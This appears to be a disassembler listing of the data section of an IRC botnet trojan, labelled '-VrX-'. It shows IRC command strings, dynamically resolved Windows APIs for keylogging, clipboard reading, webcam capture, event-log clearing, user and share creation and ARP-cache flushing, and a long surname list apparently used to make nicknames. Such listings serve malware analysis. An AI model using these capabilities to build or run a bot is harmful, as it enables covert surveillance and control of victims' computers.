unk_42CCDC	db    3			; DATA XREF: sub_401ACD+5B0o
a81VrxUserSLo_0	db '8,1-VrX- User: %s logged out.',0
		align 4
unk_42CCFC	db    3			; DATA XREF: sub_401ACD+590o
a81VrxJoinedC_0	db '8,1-VrX- Joined channel: %s.',0
		align 4
a353		db '353',0              ; DATA XREF: sub_401ACD+55Fo
aQuit		db 'QUIT',0             ; DATA XREF: sub_401ACD+522o
		align 4
aPart		db 'PART',0             ; DATA XREF: sub_401ACD+511o
					; sub_401ACD+5CDo
		align 10h
aSS		db ':%s%s',0            ; DATA XREF: sub_401ACD+4ECo
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_401ACD+3CEo
		align 10h
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o
					; sub_401ACD+5F1o
unk_42CD50	db    3			; DATA XREF: sub_401ACD+355o
					; sub_401ACD+2E79o ...
a81VrxUserSLo_1	db '8,1-VrX- User %s logged out.',0
		align 10h
aKick		db 'KICK',0             ; DATA XREF: sub_401ACD+2E4o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+28Do
					; sub_401ACD+7A88o ...
		align 4
a433		db '433',0              ; DATA XREF: sub_401ACD+262o
					; sub_417B76:loc_417BDEo
a@:					; DATA XREF: sub_401ACD+23Ao
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_401ACD+22Ao
a005		db '005',0              ; DATA XREF: sub_401ACD+215o
a001		db '001',0              ; DATA XREF: sub_401ACD+200o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o
					; sub_401ACD+3BBo ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+1C3o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_401ACD+1A9o
					; sub_417B76+50o
		align 4
asc_42CDBC:				; DATA XREF: sub_401ACD+19Ao
					; sub_401ACD+7B9Do
		unicode	0, <!>,0
asc_42CDC0:				; DATA XREF: sub_401ACD+A8o
					; sub_401ACD+E41o ...
		unicode	0, < >,0
asc_42CDC4	db ' :',0               ; DATA XREF: sub_401ACD+86o
					; sub_401ACD:loc_4025E6o
		align 4
aSSS_0		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409869+5Do
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409909+C7Fo
		align 10h
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409909+C77o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_409909:loc_40A573o
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_409909+C15o
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_409909+C08o
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_409909+BFBo
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_409909+BEEo
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_409909+BE1o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_409909+BD9o
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_409909:loc_40A4D5o
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_409909+B97o
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_409909+B8Fo
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_409909:loc_40A48Bo
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409909+B3Do
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409909+B30o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_409909+B23o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_409909+B1Bo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_409909:loc_40A417o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409909+AD9o
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_409909+AD1o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_409909:loc_40A3CDo
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409909+A8Fo
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409909+A87o
		align 10h
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_409909:loc_40A383o
		align 4
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_409909+9F9o
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_409909+9ECo
					; sub_418AF1+65o
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_409909+9DFo
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_409909+9D2o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_409909+9C5o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_409909+9B8o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_409909+9ABo
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_409909+99Eo
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409909+991o
		align 10h
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_409909+984o
		align 10h
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_409909+977o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_409909+96Fo
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_409909:loc_40A267o
					; sub_418AF1+58o
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409909+921o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409909+914o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409909+90Co
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_409909:loc_40A208o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409909+8D2o
		align 10h
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_409909+860o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_409909+853o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_409909+846o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_409909+839o
		align 10h
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_409909+82Co
		align 10h
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_409909+81Fo
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_409909+812o
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_409909+805o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409909+7F8o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_409909+7F0o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_409909:loc_40A0E8o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_409909+6A6o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_409909+699o
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_409909+68Co
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_409909+67Fo
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_409909+672o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_409909+665o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_409909+658o
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_409909+64Bo
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_409909+63Eo
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_409909+631o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_409909+629o
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_409909+617o
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_409909+60Ao
		align 10h
aSendto		db 'sendto',0           ; DATA XREF: sub_409909+5FDo
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_409909+5E3o
		align 10h
aNtohs		db 'ntohs',0            ; DATA XREF: sub_409909+5D6o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_409909+5C9o
		align 10h
aHtons		db 'htons',0            ; DATA XREF: sub_409909+5BCo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_409909+5AFo
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_409909+5A2o
		align 10h
aConnect	db 'connect',0          ; DATA XREF: sub_409909+595o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_409909+588o
aSocket		db 'socket',0           ; DATA XREF: sub_409909+57Bo
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_409909+56Eo
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_409909+561o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_409909+554o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_409909+547o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_409909+53Ao
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_409909+52Do
		align 10h
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_409909+525o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_409909+514o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_409909+4A1o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_409909+494o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_409909+487o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_409909+47Ao
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_409909+46Do
		align 10h
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_409909+460o
		align 10h
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_409909+453o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_409909+446o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_409909+43Eo
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_409909:loc_409D36o
		align 10h
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_409909:loc_409D0Eo
		align 10h
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409909+3ADo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_409909+3A0o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_409909+393o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_409909+386o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_409909+379o
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_409909+36Co
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_409909+35Fo
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_409909:loc_409C60o
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409909+327o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409909+31Ao
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_409909:loc_409C1Bo
		align 4
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_409909+2C6o
		align 4
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_409909+2B9o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_409909+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_409909+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_409909+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_409909+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_409909+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_409909+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_409909:loc_409B68o
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_409909+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_409909+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_409909+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_409909:loc_409B01o
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_409909+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_409909+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_409909+186o
		align 10h
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_409909+179o
		align 10h
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_409909+16Co
		align 10h
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_409909+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_409909+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_409909+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_409909:loc_409A3Eo
					; sub_425029+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_409909:loc_409A11o
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409909+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409909+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_409909+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_409909+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409909+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409909+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_409909+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_409909+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_409909+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409909+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_409909+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_409909+Ao
		align 4
unk_42D6C4	db  2Dh	; -		; DATA XREF: sub_40A5C5+2F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDllTestComplet	db 'DLL test complete.',0
		align 4
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+2CCo
		align 10h
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+12Co
		align 10h
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+C4o
		align 10h
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+28o
		align 10h
a_:					; DATA XREF: sub_41036B+252o
		unicode	0, <.>,0
unk_42D854	db  2Dh	; -		; DATA XREF: sub_40A928:loc_40A9E7o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 4
unk_42D884	db  2Dh	; -		; DATA XREF: sub_40A928:loc_40A9B5o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 4
unk_42D8B4	db  2Dh	; -		; DATA XREF: sub_40A928:loc_40A981o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 4
unk_42D8D8	db  2Dh	; -		; DATA XREF: sub_40A928+49o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40AA06+46o
					; sub_40C2AF+38o
aReal		db 'real',0
		align 4
		dd 0
dword_42D91C	dd 0			; DATA XREF: sub_40AE84+7o
off_42D920	dd offset sub_40AAAC	; DATA XREF: sub_40AE84+49r
aConst		db 'const',0
		align 10h
		dd 1, 40AB19h, 7474656Ch, 7265h, 0
		dd 2, 40AB77h, 706D6F63h, 2 dup(0)
		dd 3, 40ABC4h, 6E756F63h, 797274h, 0
		dd 4, 40AC62h, 736Fh, 2	dup(0)
		dd 5, 40ACD7h, 6E6C6C61h, 6B6369h, 0
		dd 6, 40AEEDh
off_42D99C	dd offset aAbdulrazak	; DATA XREF: sub_40AAAC+21r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
off_42D9A8	dd offset aAddison	; DATA XREF: sub_40AE84+39o
					; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
		dd offset aBlanke	; "Blanke"
		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
		dd offset aBloch	; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook		; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
		dd offset aCastelda	; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
		dd offset aCiampaglia	; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
		dd offset aDebroff	; "Debroff"
		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
		dd offset aDelattre	; "Delattre"
